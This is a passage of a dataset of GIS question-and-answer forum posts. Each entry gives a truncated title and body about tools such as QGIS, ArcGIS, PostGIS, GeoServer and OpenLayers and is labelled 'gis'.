GeoServer Body: I'm having trouble starting GeoServer after updating all of the opengeo-suite applications via apt-get update, apt-get upgrade and apt-get dist-upgrade. GWC works, the dashboard is there as is ... ",['gis'] "Title: ArcPy Create Point Along Line A Specified Distance From A Specified Point Body: In ArcGIS Basic I am trying to take a road polyline(one segment for the entire length of road) and get a point placed on the map a specified distance from an intersection. I have a layer of ... ",['gis'] "Title: Help writing script using a shapefile - select by attribute Body: I am trying to take an existing shapefile and narrow down the attributes using the 'select by attribute' The problem I am trying to solve is: Find parcels that have an acreage >= 100. The code I ... ",['gis'] "Title: Can I prevent QGIS raster clipper from changing output cell/pixel size? Body: I have performed a DEM extraction using the clipper tool in QGIS 1.9.0 Master, using a mask layer, the original resolution of the DEM is 20x20 but in the resultant DEM the new resolution is ... ",['gis'] "Title: Is it possible to do a side by side install of ArcMap 10 & 10.1 using xp mode in windows 7? Body: My organization is running Arcgis 10.1 throughout the office. Staff currently is starting a project in which we need to use FEMA's HAZUS software. The problem is that HAZUS is only compatible with ... ",['gis'] "Title: Use of OpenStreetMap France in another country Body: I've just stumbled across OpenStreetMap France and was amazed to find that it has 2 extra zoom levels, 19 and 20, whereas OpenStreetMap only goes up to 18. In our application we display potentially ... ",['gis'] "Title: Using NetCDF for point time-series observations? Body: I have a large growing dataset of water and climate observations for several years in regular hourly time-step. The number of locations is cca. 1000 locations with latitude, longitude coordinates. At ... ",['gis'] "Title: Compare field values and assign a new field to store value ArcMap 10 python Body: I am currently doing an analysis in Arc Map 10 using python, as I am not familiar with this tool, hence I come here to ask your help. I actually have two shape layers, one is a point layer and the ... ",['gis'] "Title: How to list raster bands? Body: I am interested in looping through a directory and listing only the red bands (Band 1) from 4-band NAIP imagery. From there I would like to mosaic all of the band 1 layers into a new single band ... ",['gis'] "Title: QGIS Spatial Queries Body: I was wondering if I could do the following within QGIS: I want to update a column in my point layer with the attribute information from a specific column in a polygon layer - so I have a layer of ... ",['gis'] "Title: GIS data backup strategy Body: Is there any backup strategy for GIS data? Say .mxd, shape files, data base connection files, feature layers, geo-database etc. According to ideal methodology: 1.On external hard drive : best to ... ",['gis'] "Title: gdal2tiles.py generates wrong tiles / MapTiler the right ones Body: I'm trying to generate tiles with gdal2tiles.py and the resulting tiles are stored as 18/132639/164219. If I do the same thing with MapTiler (the GUI variant of gdal2tiles) the tile result is ... ",['gis'] "Title: Searching for PrintProvider.js file in Geoextjs2 Body: I have downloaded GeoExt 2 Library from github but i found the PrintProvider.js is missing from src\GeoExt\data. So can any one help me or guide me where i will get full version for Geoext 2 library ... ",['gis'] "Title: Openlayers: custom style map Body: I want to custom my stylemap (OpenLayers.Style) in that way: set the value of the fillOpacity depending of the fillColor of the same feature. Here is the actual code: StyleBlockWithOpacity : new ... ",['gis'] "Title: ogr SetAttributeFilter uppercase? Body: How do I use the ogr SetAttributeFilter with uppercases? Code example: lyr = shp_obj.GetLayer() sel_str = ""%s = '%s'"" % (field, value) lyr.SetAttributeFilter(sel_str) Can I just do: sel_str = ... ",['gis'] "Title: All LGAs for Australia in KML or KMZ format Body: Can somebody please show me where to find a KML or KMZ file that includes the digital boundaries for all Local Government Areas in Australia? Thanks! ",['gis'] "Title: resample (data management) tool in Arcgis produces blank output Body: I have SRTM DEM 3"" dataset for Kuwait. I want to resample it to the same resolution as another raster. This raster has a cell size of 3.4m. The resample tool completes without error. The output, ... ",['gis'] "Title: How to Smooth Polygons after converting DEM using Raster to Polygon? Body: I have a DEM SRTM that I classify using Spatial Analyst Tools > Reclass > Reclassify. The result is box shaped so I go to Layer Properties > Display and choose cubic convolution. The result is ... ",['gis'] "Title: How does one install QGIS from previously downloaded OSGeo packages Body: I have downloaded the OSGeo Installer (on Windows 7 x64) and run it, selecting the Desktop Express Install option. All of the files were downloaded and the installer reported a successful install, ... ",['gis'] "Title: Call ArcPy script via CGI on IIS Body: I have an ArcPy script that does a whole bunch of processes with ArcGIS 10.1 to write the output data to a SDE geodatabase. What I want to achieve is to enable an online user to call the script and ... ",['gis'] "Title: Building Custom Programs with ArcObjects Body: I found another thread at ArcObjects Resources that asked for general ArcObjects resources but most of the resources in that thread are obviously about building add-ins for ArcMap. I need help ... ",['gis'] "Title: How to extract features with specific coordinates from a ShapeFile? Body: I would like to extract a number of features from a ShapeFile which match with specific latitude/longitude values. I am interested if/how this can be done with QGIS and ogr2ogr. The output should be ... ",['gis'] "Title: Create Voronoi/Thiessen polygons in QGIS around 3 points Body: Running QGIS 1.8.0 I have three bus compounds. I would like to generate Voronoi/Thiessen polygons around those three points. Following Voronoi/Thiessen adding an all school points will allow us to ... ",['gis'] "Title: How to create a polyline feature from a point layer Body: I would like to create a route line based on a point layer. The existing tool does not meet the customer requirement. But using the code snippet below, the start point and end point are always the ... ",['gis'] "Title: How do I convert from points to raster making the point the lower left corner of the cell? Body: How do I convert from points to raster making the point the lower left corner of the cell? I'm using ArcGIS 10.1. The default for the ""Convert Point to Raster"" tool is to make the point the centroid ... ",['gis'] "Title: How to publish from ArcMap to GeoServer (not using GeoCat) - GeoCat Alternative? Body: How can I publish a map from ArcMap 10 to OpenGeo's GeoServer without using GeoCat Bridge? Are there any alternative solutions to accomplishing this? Thanks! ",['gis'] "Title: Open Source Alternatives to Erdas ATCOR Body: I have been using Erdas ATCOR for atmospheric correction of ASTER imagery. What opensource options exist for atmospheric correction of ASTER Level 1B products? I'm primarily interested in converting ... ",['gis'] "Title: PostGIS 2.0 ST_Split rounding errors when splitting line with point Body: My apologies for the bad title; I couldn't think of anything more descriptive. I have been testing ST_Split with a dataset, and found that even with points that are supposed to be exactly on a line ... ",['gis'] "Title: Can I speed up very long connection times to a PostGIS DB caused by complex views? Body: When connecting to a PostGIS database to add a postgis layer, all table and views are scanned by Qgis in order to define the geometry type (if I understand well the query performed). My problem is ... ",['gis'] "Title: How do I create a heatmap in ggplot? Body: I'm using R with ggplot2 to generate maps from shapefiles and from data in SQL Server. I'm trying to get to a stage where I can automate a large chunk of the mapping I do. So far this is working well ... ",['gis'] "Title: How to create a polygon feature using Python? Body: I'm making a plugin for Quantum GIS in python. I have a polygon layer and want to create a new feature. So far, I have this because I need a polygon geometry to add the feature: surface = ... ",['gis'] "Title: OpenLayers: Why won't my GeoServer hosted WMS layer show on a OSM basemap? [duplicate] Body: I feel like I'm trying to do something pretty simple, but I'm having a hard time. I have GeoServer installed and am using OpenLayers. I have a layer hosted on GeoServer. It's a line feature of a ... ",['gis'] "Title: Why can't I clip vectors with 2 different projections? Body: I am using QGIS. I am trying to clip parcel data with a stream buffer. The two have different projections. Parcels are NAD83 State plane feet and streams are NAD83 State plane meters. I keep ... ",['gis'] "Title: Trouble making heat map - red square [duplicate] Body: I'm a beginner to QGIS and I'm having trouble making my heat map. I'm using QGIS 1.8 and Win7. I imported a CSV file with around a 1000 points (X Y coords - WGS84). When I try to make a heat map ... ",['gis'] "Title: Changing polyline vertex followed be union causes exception Body: I'm new to this arcobject stuff. I'm trying to change the last vertex on a polyline feature. (using C#) After the change I need to add this changed polyline into another. It seemed to work except if ... ",['gis'] "Title: How to change default image in tree node with GeoExt Body: I'm using GeoExt to create a tree. In each node I want the corresponding image at left instead of the default image like this site. How can I do it? Edit I found this example but I don't know how ... ",['gis'] "Title: US MAP using Zipcode in R Body: I have a set of US zip codes grouped into two groups. I'm plotting those two groups on US MAP using R code. I'm using following code to plot group A & B combining together ... ",['gis'] "Title: How to extract all Way elements tagged as highways from OSM data using QGIS? Body: I want to extract/filter in all Way elements within a specific region tagged as 'highway' from an OSM file. I am currently thinking of using a Python library called osmread (by A Dezhin) that I ... ",['gis'] "Title: Cartographic Representation Question Body: I create a file geodatabase to hold a polygon of the land boundary. What I would like to set up the RULE to separate colors. I had to split the polygons into 2 separate polygons and change the ID to ... ",['gis'] "Title: Tilemill reversing land and water at high zoom levels Body: I tried asking this over at MapBox's support forum and got no help. I am trying to generate a map of Northern france using Tilemill and this set of land polygon data from openstreetmapdata.com (the ... ",['gis'] "Title: How to compute the distance from the beginning of a line for every points using postgis Body: I have a line, for which I need to know, for every point that compose it, what is the distance from the beginning. The data is stored in PostGis 2.0 For example, for the line with the point a, b, c, ... ",['gis'] "Title: Version editing for Postgresql 9.2.4 / postGIS 2 Body: Background: I am ""building"" a GIS with PostgreSQL 9.2.4 / PostGIS 2 as the database and QGIS 1.8.0 as the geographic application. There will be multiple users accessing, editing and viewing the data ... ",['gis'] "Title: PyQGIS CRS on the fly reprojetion Body: As a first step of a pyqgis plugin I'm trying to import several shape files at once. To get them aligned, using the GUI, I'd enable on the fly reprojections and set the project crs to WGS84. I'd then ... ",['gis'] "Title: Openlayers and KML layer projection issue Body: I'm not a GIS expert at all, but I've been asked to add a KML layer to an Openlayers map which probably needs some tweaks and that's where I get confused. Let say I have an Openlayers map with the ... ",['gis'] "Title: Disable a button until selection is made [closed] Body: I have this section in my website: There is a drop down list of environments and an area for a user to input a Zip Code. What I am trying to achieve is making the button disabled until a selection ... ",['gis'] "Title: Is there a Python WMS client (thin client analogue of OpenLayers)? Body: I'm making a geoportal based on (Geo)Django 1.5, PostgreSQL 9.1 + PostGIS 2.0, QGIS MapServer and OpenStreet Map or Google Maps WMS services for the base layer. It seems like there is no problem, but ... ",['gis'] "Title: how to georeference a shapefile layer [duplicate] Body: i have some shapefile layer have wrong position and size. it's similar with raster image. so i need scale and move it to correct place. the question is how can i do this in qgis ? i found a plugin ... ",['gis'] "Title: How to match a shapefile with seconds as units with other layers Body: I have some shapefile in coordinate seconds (longitude&latitude multiply 3600). I have open google street layer by openlayers plugin in qgis. how to match my shapefile with google street layer ... ",['gis'] "Title: How can I do feature selection on WMS layer (added JSFiddle example) Body: I have WMS layer with roads serverd from Geoserver (MS SQL View Layer) http://jsfiddle.net/Alophind/5pSrJ/ I want the user to be able to click on a line and ""highlight"" it , set it selected so he ... ",['gis'] "Title: Need to convert xy values to features in feature service using ArcGIS Server javascript API Body: I need to convert XY values in a textfile which the user uploads into point features(not graphics) in a feature service using ArcGIS Server Javascript API. The ARCGIS server version is 10.1 and API ... ",['gis'] "Title: New/Imported Raster dataset given dbo schema in SDE geodatabase Body: I have a ESRI SDE geodatabase (10.1) on SQL Server with a custom database scheme called ""GC"" which is used to host all the project datasets. In ArcCatalog, a SDE connection file was created with a ... ",['gis'] "Title: Comparing choropleth maps statistically Body: I have several sets of choropleth maps showing ranges of poverty by census tract, each using a different poverty measure. All of the maps use the same categorical ranges to define poverty status. The ... ",['gis'] "Title: Does ArcGIS.com support map services (or only feature services and tiled services)? Body: Using ArcGIS Server it is possible to publish a map service, which has a URL like http://services.arcgisonline.com/ArcGIS/rest/services/Demographics/USA_1990-2000_Population_Change/MapServer/1 In ... ",['gis'] "Title: QGIS 1.8 in Linuxmint 14 (Ubuntu 12.10) Body: I have Linux Mint 14 KDE which is based on Ubuntu 12.10 Quantal. In the QGIS download page, there's no ""Quantal"" repositiries. I'm trying to use the ""Precise"" repositories, but I'm not allowed to ... ",['gis'] "Title: Calculating point proximity in ArcMap 10.1 Body: I have a geocoded point file which (theoretically) contains one point for every zip code in the U.S. I want to create a smaller list of zip codes from this file. The list should include only those zip ... ",['gis'] "Title: QGIS - adding timestamps to spatialite data during data collection Body: I am trying to do field data collection using QGIS. One of the features that I regard as necessary for data management is timestamps. For example, a timestamp can indicate that an inspection record ... ",['gis'] "Title: How to draw lines from two points in a CSV? Body: I have a CSV file where one line looks like this: Duration, user, lat-start, long-start, lat-end, long-end 298, Casual,38.9101,-77.0444,38.91554,-77.03818 Each row in the CSV has two points and I ... ",['gis'] "Title: Modify spatialite decimation Body: I got some problems with a shapefile integrated into a spatialite DB, it's displaying fine in QGIS but weird into my application. I've been told to modify the decimation from 10E-5 to 10E-6 but i ... ",['gis'] "Title: gpx conversion tools in qgis keeps asking for GPSBabel Body: I want to perform a simple task: show the waypoints of a GPX ""track"" as dots, not as a set of connected lines in QGIS ( Conversion -> Waypoints from a track ). I use files, not any particular USB ... ",['gis'] "Title: PostGIS integer loop Body: PostGIS is very new to me, and I'm having difficulty performing an operation that probably isn't too difficult. I have vector layers each filled with the outline of a landmass through time. I want to ... ",['gis'] "Title: Why does QgsSpatialIndex::nearestNeighbor(point, 1) sometimes return 2 lines? Body: I'm trying to get the closest line to a point using pyQgis in a plugin. The active code file is this: http://pastebin.com/TDzmsKVM When I request the closest line (only 1) nearestIds = ... ",['gis'] "Title: patch analysis and spatial statistics for Grid data Body: I have TerraSAR data (raster data) for settlement, I must show the large density building, medium and low density in the map. Is this possible in the spatial analysis or patch analysis? I look ... ",['gis'] "Title: Update Point ID as Start Node and End Node to Line through FME Body: I need your help to perform the below process in FME I have two layers; Pole Data (Point) and Cable (Line) Cable have no ID I want to keep the Cable which is going through the Pole Then make the ... ",['gis'] "Title: Setting extent and geographic projection in R Body: I have a raster and a shapefile that I am attempting to view and process in R. The shape file ""ER_11.1"" has the following specs: > ER_11.1 class : SpatialPolygonsDataFrame nfeatures : 22 ... ",['gis'] "Title: Measure length within a grid Body: I have a grid and some lines within a grid and I was wondering how to measure the length of the lines inside the grid. I can use the measure tool for a straight line, however in the future I will not ... ",['gis'] "Title: Centered label halos in ArcMap 10.1 Body: When I use label features with halos in ArcMap, whether using the standard or Maplex labeling engine, the halos in the exported map (PDF) are always shifted vertically, so that instead of the halo ... ",['gis'] "Title: Choosing the correct value for proj4string for shape file reading in R “MapTools” Body: I am having a shape file of polygons and another CSV file which contains a list of points as (Lat, Lng) pairs.. I want to check for each (lat, lng) pair from the CSV file which polygon does it fall ... ",['gis'] "Title: Is there an online reference available for the Fiona and Shapely libraries? Body: Is there an online reference available for the Fiona and Shapely libraries? I'm thinking a real reference, beside the tutorial-style documentation: http://toblerity.github.io/shapely/manual.html ... ",['gis'] "Title: OGC filter intersects polygon Body: I am trying to get a selection of points in my dataset, by selecting a polygon and returning all points inside it. I am using an OGC fiter, and currently I am testing it directly in the OpenLayers ... ",['gis'] "Title: QGIS installing error [duplicate] Body: I have a MAc with OS 10.6 (SnowLleopard) and when I tried to instal QgIS it says: ""error The GDAL 1.9 framework is required"". However I download and install the GDAL package What should I do? ",['gis'] "Title: SDE Replication works through ArcMap but not through ArcCatalog Body: I'm running 10.1 on a 10.0 SDE database. We're trying to replicate our database (one-way parent to child) to a file geodatabase. Ideally I'd like to have this automated using python or .bat files but ... ",['gis'] "Title: How to generate TTA mask for accuracy assement in eCognition? Body: I'm learning to use eCognition software recently. I have done the image segmentation for Worldview-2 image. Then, I have processed for classification for class names (e.g forest,built-up area, grass ... ",['gis'] "Title: Create tiles given images and locations; convert markers to tiles Body: What I need I need to convert a list of markers to a tile layer I've been googleing without success how to do this. Anyone has faced this problem and has a nice easy solution? Why I need it I've ... ",['gis'] "Title: How to draw a Circle of fixed radius in QGIS using QgsMapCanvasItem? Body: I have derived a class from QgsMapCanvasItem for drawing circle of some radius at a given latitude and longitude. In my paint function I am using QPainter to draw the circle as void paint (QPainter* ... ",['gis'] "Title: Selection problem in WMS layer using OpenLayers Body: I added 4 WMS layers (three polygons and one have point geometry) from GeoServer on my webpage My requirement is: I have to select a single polygon of one wms layer using a mouse click. After the ... ",['gis'] "Title: width is bounded when applying SLD in Geoserver? Body: I applied a SLD style to color a road network in Geoserver (see the picture, before the styling, all lines are in the same color). Before the styling, I can query the WMS layer with arbitrary width ... ",['gis'] "Title: What are lazy geometries Body: What are ""Lazy Geometries""? How are they different from other types of geometries? I'm an experienced Python/Django developer but am very new to the world of GIS, and understand that this is a ... ",['gis'] "Title: Can I sell maps to third parties if I have Google Earth Pro License? Body: Not sure if this question is suitable for SE but I can't find answers anywhere else. I work as a GIS Analyst for a mining company that has its own GEPro license. As part of my job, I make PDF maps, ... ",['gis'] "Title: ArcGIS 10.1 - OD Cost Matrix SOAP Request (Error received) Body: I've been using Network Analyst in ArcGIS desktop (10.1), and using succesfully some SOAP API operations (findAddressCandidates, GetNALAyerNames, GetSolverParameters, GetSolverParameters2) But now ... ",['gis'] "Title: How do I add feature from WMS to a different layer in OpenLayers? Body: I have a WMS layer I serve from SQL View. When I GetFeatureInfo I receive JSON presentation of the feature. ... ",['gis'] "Title: SAGA GIS ----> need to export shapefiles to SVG Body: I am trying to export three shapefiles to svg files but the problem I could not make these shapefiles polygon to black outlines to be export to svg files. How do I do that ? I tried to run that in ... ",['gis'] "Title: Python Script for shape file to layer conversion Body: What is the python Script for Shape file to Layer Conversion? I tried the following... import arcpy from arcpy import env env.workspace=""working path"" ... ",['gis'] "Title: Checking if Lng and Lat fall inside polygons from ESRI Shape file Body: I have two input files. First: CSV file with a list of points each defined with Lng, Lat, Name Second: ESRI Shape file defining a number of polygons I would like to determine for each point I have ... ",['gis'] "Title: Force a collection of unknown number of points to be a polygon Body: I am working with point clusters and want to create the rough shape of the cluster in the form of a polygon using ST_ConvexHull(). I'm having problems with single outliers though, as they don't ... ",['gis'] "Title: FME - what is the difference between “generate workspace” and “create workspace”? Body: as a newbie to FME i can´t really understand the basic difference between the two ways of making a workspace. Generate or Create. Can someone explain the difference? Thanks, Rob ",['gis'] "Title: Some tiff not included on a vrt index Body: I have some tiff files and I'm trying to generate a vrt index with gdal tool, gdalbuildvrt. I run this command: gdalbuildvrt orto_index.vrt -srcnodata ""0 0 0"" -vrtnodata ""0 0 0"" *.tif and throws ... ",['gis'] "Title: how to improve poi visualization in tilemill Body: I have imported all points of interest (POI) from database to TileMill. The distance between the POIs are a few meters. Thats is why its became ugly looking map. Is there any option that will ... ",['gis'] "Title: How to add attribute in shapefile guidedly Body: I have a point layer (31 by 31 grid = 961 points) created by fishnet tool > feature vertices to point tool (but with duplicate points). NOx Concentration data are in an Excel file. I want to ... ",['gis'] "Title: How do I convert shapefiles and display them on top of Google Maps? Body: I generated a set of maps of my region. Each municipality has some associated data. I would like to overlay that data on a google map and display them in a website. (I don't like the flash format) Do ... ",['gis'] "Title: How to match GPS collected data to routes on Google Maps? Body: I am using Google Maps to implement a GPS Monitoring system of data collected from vehicles. My problem occurs when the points and lines do not match with the route and cut through other streets and ... ",['gis'] "Title: CartoDB Convert from the_geom to google's lat long Body: I have a CartoDB table that when I query it via the rest api I get something like this: { ""name"": ""sas"", ""street"": ""la plata 2390"", ""cartodb_id"": 1, ""created_at"": ""2013-06-26T00:46:21.412Z"", ... ",['gis'] "Title: How to compress raster image for publishing? Body: I have a (8-bit) satellite image that is e 6 gb. Is there a way I can compress the image smaller size without losing the quality? Format: .tif Reason: After publish the image, I notice a higher usage ... ",['gis'] "Title: Reverse geocoding polygon co-ordinates? Body: I have a large dataset of polygons for property sections that I need to reverse geocode. It was recommended that I use a GIS like Quantam to do this however from my research I am not 100% sure if a ... ",['gis'] "Title: Delete records from table using ModelBuilder Body: I'm very new to ModelBuilder so forgive me if there is a relatively simple tool to perform this. I have looked into Delete Field/Table but it does not seem to achieve the goal. Goal: Create a tool ... ",['gis'] "Title: Getting SRID from prj file? [duplicate] Body: I've seen varying questions relating to this question. Except mine revolves around C#. I'm trying to validate that the projection I'm expecting matches what is in all the .shp files I'm reading. ... ",['gis'] "Title: importing osgeo module in ubuntu 10.04 Body: I have problem with importing ""osgeo"" module in ubuntu 10.04; I have installed GDAL 1.7 from source ( 1)./configure 2)make) however, still in python I cant import osgeo module. I appreciate any hints. ... ",['gis'] "Title: Find clusters of points based distance rule [duplicate] Body: I have some points that I need to divide into groups based on clusters of points: x <- c(-1.482156, -1.482318, -1.482129, -1.482880, -1.485735, -1.485770, -1.485913, -1.484275, -1.485866) y <- ... ",['gis'] "Title: Interactive PDF Map with Photos Body: I am looking to create a PDF using Arc10 that contains locations for our site. At each of these locations you would be able to click the point and you can then see the photos for the area. Is this ... ",['gis'] "Title: pgrouting shortest_path return longest_path Body: I've got troubles with shortest path function from pgrouting. I try to calculate the shortest path between an address and a bus stop. I first found the nearest road points for the address and the bus ... ",['gis'] "Title: joins relates in arcgis 10 using vb.net Body: i have Too tables in geodatabase : parcel and person 1 or + parcel can have 1 or + person (relationship is pll_person) using vb.net i can display all the parcel with annotation ""id"" what i want ... ",['gis'] "Title: How to visualize Google Fusion Table Map using JavaScript? Body: The simplest question. When you create a google Fusion Map with geographic data, Google provides you with an iframe link to display the Map on your website. But i need to display that information ... ",['gis'] "Title: Toolbox from 10.0 causes an ArcGis 10.1 crash Body: I'm trying to open a toolbox prepared in ArcGis 10.0 in ArcGis 10.1 but it crashes the entire application. No error message is shown. Any ideas what might cause the problem? Or how to debug it? ",['gis'] "Title: How to install Mapserver in nginx? Body: I was istalled Mapserver: sudo apt-get install libgd2-xpm-dev sudo add-apt-repository ppa:ubuntugis/ubuntugis-unstable sudo apt-get update sudo apt-get install cgi-mapserver mapserver-bin and ... ",['gis'] "Title: PostGIS ERROR: function x(geometry) does not exist Body: I am using the following postgis query for updating a pgrouting table from my custom road data. In the x(ST_StartPoint(part_geom)) as x1, line its returning an error mentioned ERROR: function ... ",['gis'] "Title: How to create polygons over a specific number of points Body: I came upon this question in a non GIS-related task, but it really interests me how to do a similar thing in GIS-systems. Problem: Imagine a random point pattern (see image below) Now what i want ... ",['gis'] "Title: Convert lat/long four corners data to raster Body: I have a data set in the following format.each row represents the coordinates of the four corners of a cell and the last column is the value associated to the cell. lon1 lat1 lon2 lat2 lon3 lat3 lon4 ... ",['gis'] "Title: Editing 2007 MS Access .accdb using OLE DB connection? Body: Can you edit a 2007 MS Access .accdb file format using the OLE DB connection? I have made the connection using the following: Connecting to a 2007 Microsoft Access database (.accdb) in ArcGIS I can ... ",['gis'] "Title: What do I need to do to add a new QGIS project to qgis-web-client? Body: for weeks I'm trying to get QGIS Server with qgis-web-client to work but I'm totally stuck. System is Debian Squeeze. In principle, I get QGIS Server and the qgis-web-client up and running: it's ... ",['gis'] "Title: Multiple text formats in a qgis label Body: Is there any way to have multiple text formats in a single qgis label? I am making a map that shows mountain summits. Many of these summits have more than one name and I would like to show each name ... ",['gis'] "Title: How to add a legend for mapfile (Raster Data) Body: What I would like to do is shown in the figure below. How can I add this color ramp legend in a mapfile which will also be linked to a raster. I don't know how to get it working while drawing a figure ... ",['gis'] "Title: Survey Data to GIS database Body: This is a General Question on a possible workflow for Survey Data directly to ArcGIS In most GIS/Survey workflows there is a field collection team and backoffice GIS team. When the availability of ... ",['gis'] "Title: How to modify the results of a geological dataset from vertical to horizontal? Body: I have a 3-D point shapefile of a geological fault dataset consisting of x,y, and z columns. I need to create a raster dataset from this point dataset. I have been trying to do this in ArcGIS; ... ",['gis'] "Title: calculation of transformation parameters in qgis Body: How to calculate transformation parameters like scale, rotaion, translation in qgis for performing affine tranformation? ",['gis'] "Title: Why is my linestring not valid ? was recorded from GPX file Body: I have a linestring that was built from points from GPX file. I've insert it to sql as geometry and when I try to run funcs on it (like STStartPoint ) I get error that line isn't valid and I need to ... ",['gis'] "Title: Google maps android vector rendering : how do they make it that fast? Body: Most of the question is in the title. If you are on android (I believe its the same on IOS) and use maps you will notice the quality of the maps app and how the vector maps are drawn in a very fluid ... ",['gis'] "Title: When will QGIS version 2 be available? [closed] Body: Just wondering, how close is the public release of version 2? I do realise that I can download 1.9, but was wondering about the public version. ",['gis'] "Title: How to split complex lines? Body: I want to edit some complex polylines, which I imported from my GPS. These polylines have many vertices and are selfintersecting many times. When I try to split these lines using the 'Split ... ",['gis'] "Title: Importing MODIS LST data from MRT in ENVI Body: I am doing a project on heat island effect using MOD11_A2 data. After processing in MRT I have separate bands. While importing them into ENVI, which bands should I select in the RGB option? ",['gis'] "Title: Creating parallel polylines with a constant distance [duplicate] Body: Can ArcMap fill in selected polygon with many parallel polylines with a constant distance between them and with a particular azimuth? Thanks ",['gis'] "Title: How to pass parameters to Geoserver Heatmap SLD Body: Hi I am trying to generate heatmap using Geoserver Transformation SLD. as mentioned on the page, It requires few parameters: data weightAttr radiusPixels pixelsPerCell outputBBOX outputWidth and ... ",['gis'] "Title: How to fix OpenLayers plugin for QGIS Master? Body: I can't get the OpenLayers plugin to work in QGIS Master (1.9), I loaded the repository successfully, but the plugin doesn't come up as an option anywhere. I'm new to this, but have tried to make ... ",['gis'] "Title: Correlation between rasters using R Body: In R, anyone know a method for measuring correlation between raster and spatialpixels, or between two rasters?. I read something about Kulldorff but do not understand how to use it, and maybe it's not ... ",['gis'] "Title: How to open a map from gdb? Body: A librarian has helped me create some maps, and I need to open them. He is off work at the moment and I am in a rush for this. I have downloaded ArcGIS and he says I can open this with arcMAP. He has ... ",['gis'] "Title: Determing partially Overlapped features from two linear feature classes Body: I have been tring to fing object ids of features that overlap partially. Input taken is two linear feature classes , i have tried IRelationalOperator Overlaps methords , but it seems that it only ... ",['gis'] "Title: QGIS 1.9 problem with setGrayBandName on the QgsRasterLayer Body: I have installed the developer version of QGIS on my computer in order to do some work with a multiband raster file. The file consists of 30 bands of information, and I need to step through it with a ... ",['gis'] "Title: How to extract all lines that do not intersect with buffer? Body: I am working in ArcGIS Desktop 10.0 and/or 10.1. I have two road network feature classes in a file geodatabase. I have created a 5 meter buffer around the first one, so it is now a polygon feature. ... ",['gis'] "Title: Why are the Raster z-value changed when reprojecting? Body: i have raster data with height values (z). when i try to reproject/warp the raster to gauss kruger 3, the z-values are changing (several meters). (the data is already gk3, but i have to reproject ... ",['gis'] "Title: ArcGIS API For Javascript - Custom DynamicMapServiceLayer Image Being Distorted In Map Body: I am having some trouble with a custom DynamicMapServiceLayer that I hope someone can either help me out with, or explain what is happening... On the application I am currently working on, there is a ... ",['gis'] "Title: How to select GeoJSON vector feature in Leaflet? Body: I've been using OpenLayers for years,instead of comparing OL & Leaflet libraries,I decided to use Leaflet for the job for now. I have a GeoJSON data layer where I show point objects only.Just as ... ",['gis'] "Title: Cascading WMS in ArcGIS Server Body: Is it possible to load external wms services into ArcMap and publish them in ArcGIS Server? I have tried this and get the error that the layer type is not supported. Yours, Robert ",['gis'] "Title: ArcGIS JavaScript API displaying user defined part of layer Body: I need to display only particular part of one map service, not the whole layer. It's mosaic dataset served as ArcGISDynamicMapServiceLayer (if it's not the correct way to publish mosaic dataset in ... ",['gis'] "Title: Where to store geodata to be layered over an OSM tile map? Body: I'm working on a project for which most data can come straight from OSM. But some data is not relevant to OSM and will need to be stored separately then layered over the top. Probably the tiles will ... ",['gis'] "Title: arcpy.CopyFeatures between file GDBs? Body: I'm trying to figure out why I can't copy a featureclass from one file GDB to another. I can copy the featureclass to within the source GDB. There's no name conflict in the target GDB. I don't think ... ",['gis'] "Title: Unknown gridlines on old Greenland base map! Body: Can anyone help me out please? I'm using an old 1:10,000 base map of Greenland for a mapping project with nice 10cm gridlines already drawn on. However it uses a coordinate system which is unfamiliar ... ",['gis'] "Title: Kernel Density Estimate UD with AniMove Body: can anyone tell me why the Kernel Density Estimate function does not appear under my AniMove plugin in QGIS? I can only perform the MCP. I run Windows OS. ",['gis'] "Title: Shapefile is not a valid or recognised data source. [duplicate] Body: I have some shapefiles that I have been using before, some months back, but now I try to load them into QGIS but I get the message: districts.shp is not a valid or recognised data source. I realise ... ",['gis'] "Title: How to open a ESRI geodatabase in QGIS (Ubuntu)? Body: So far I have found instructions on stack exchange but they are for windows. And so far the information I have found is for windows. I currently have Ubuntu 13.04 Raring tail. I am using qgis 1.8. I ... ",['gis'] "Title: Need a Python field calculation that works like the DatePart( ) VB Function Body: I have a field called Abandoned Year (short integer data type) that I am trying to populate with a four digit year from a column called Decommission Date (Date data type). I have done this in the ... ",['gis'] "Title: Coordinate System correctly renders both decimal Long/Lat and some number in the billions Body: I am new to ArcObjects and I have been creating an application which will (among other things) be reading data in from a sister program and plotting it on the map.I have found out that I can enter the ... ",['gis'] "Title: AttributeError when I execute a python script Body: When I execute a python script to assign my database in postgres, I get this Error !! ""AttributeError 'psycopg2._psycopg.cursor' object attribute 'execute' is read-only "" def ma_fonction(d): # ... ",['gis'] "Title: Is it possible to get the associated graphic in a custom Symbol class? Body: I'm developing a custom symbol class that inherits from SimpleMarkerSymbol. I'd like to be able to access the associated graphic to the symbol in my custom class. In the draw method, I have access ... ",['gis'] "Title: Problem while adding the store/layer in geoserver Body: I am new to geoserver..Yesterday I worked with that and added stores and layers. Its working fine. But, Today I try to add a new store, i am getting this error message.. ""Sorry, your session timed ... ",['gis'] "Title: ArcGIS API for Silverlight: Retrieve all Data From a Raster layer? Body: Is it possible to use ArcGIS api for silverlight to get the data in each cell of a raster layer and store them in an array? ",['gis'] "Title: how to add HTML popup in exported PDF map? Body: I am producing some maps of a point layer using arcpy.mapping.ExportToPDF. Is there a possibility of creating HTML popup for the final PDF based on this link? ... ",['gis'] "Title: Comparing polygon attributes that share the same parcel? Body: I'm new to ArcGIS, or at least anything beyond the basics, especially ArcToolBox. so the answer might be extremely simple. Basically I have one layer of building footprints, and another layer of ... ",['gis'] "Title: Can osm2po produce a travel distance buffer for a given time? Body: Given a starting point and a travel time, I would like to produce a travel distance polygon. Can I request this from osm2po via http? ",['gis'] "Title: Lack of Options in Gdal Tool “Build Overviews” QGis Body: I am using QGis 1.8 and I want to build overviews (pyramids) for satellite imagery using the Gdal Tool. I would like to use the resampling method ""cubic convolution"", but the option doesn't exist ... ",['gis'] "Title: GeoExt: Turning off layer title in legend Body: I am using GeoExt for my web mapping project. My web map includes a legend generated by GeoExt. Is it possible to turn off the layer title for a specific layer in legend? I am aware that there is a ... ",['gis'] "Title: Is that possible to use map object ( PHP_MapScript ) instead of map file when using the MapServer? Body: In my previoous code, I am using openlayer WMS to load a raster data through MapServer. As you can see, the mapserv.exe call a local map file to load the raster data. I just heard PHP_MapScript, since ... ",['gis'] "Title: database server connection to MSSQL Server with ArcCatalog not possible? Body: I have a MSSQL Server where my geodata is held. In the ArcGIS Docs, it says... ""To administer ArcSDE geodatabases for SQL Server Express, you can also connect to these geodatabases by first making a ... ",['gis'] "Title: How to handle an “Input 